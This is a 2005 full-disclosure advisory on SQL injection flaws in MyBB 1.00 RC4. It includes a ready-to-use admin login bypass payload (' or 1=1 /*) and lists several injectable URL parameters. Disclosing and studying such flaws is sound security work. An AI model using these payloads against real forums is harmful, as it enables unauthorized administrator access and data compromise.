SQL Injection Vulnerabilities in MyBB RC 4 (+Security Patch)
Vendor: MyBB Group
Version: MyBulletinBoard 1.00 RC4+ Security Patch
Risk: High if magic_quotes_gpc = Off
URL: http://www.mybboard.com
**********************************************************************************************
"MyBB is a powerful, efficient and free forum package developed in PHP and
MySQL. MyBB has been designed with the end users in mind, you and your
subscribers. Full control over your discussion system is presented right at
the tip of your fingers, from multiple styles and themes to the ultimate
customisation of your forums using the template system."
*********************************************************************************************
There is one high risk SQL Injection vulnerabilities in MyBB, but to
exploit this issue magic_quotes_gpc must be off.
SQL Injection in /admin/index.php
POC: Username: ' or 1=1 /*
Password: blank
This issue gives you access to the Admin Control Panel and you are
logged in as the Main Administrator
**********************************************************************************************
More SQL Injections (magic_quotes_gpc=off):
member.php?action=login : username='[SQL INJECTION]
polls.php?action=newpoll&tid=1&polloptions='[SQL INJECTION]
search.php?action='[SQL Injection]
member.php?action='[SQL Injection]
.....
....
.......... (Many Many More...)
*********************************************************************************************
Solution:
The developers were contacted and never responded.
No patch is available.
Turn magic_quotes_gpc ON or do not use this Application
Phuket
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
Received on Aug 12 2005
Intro
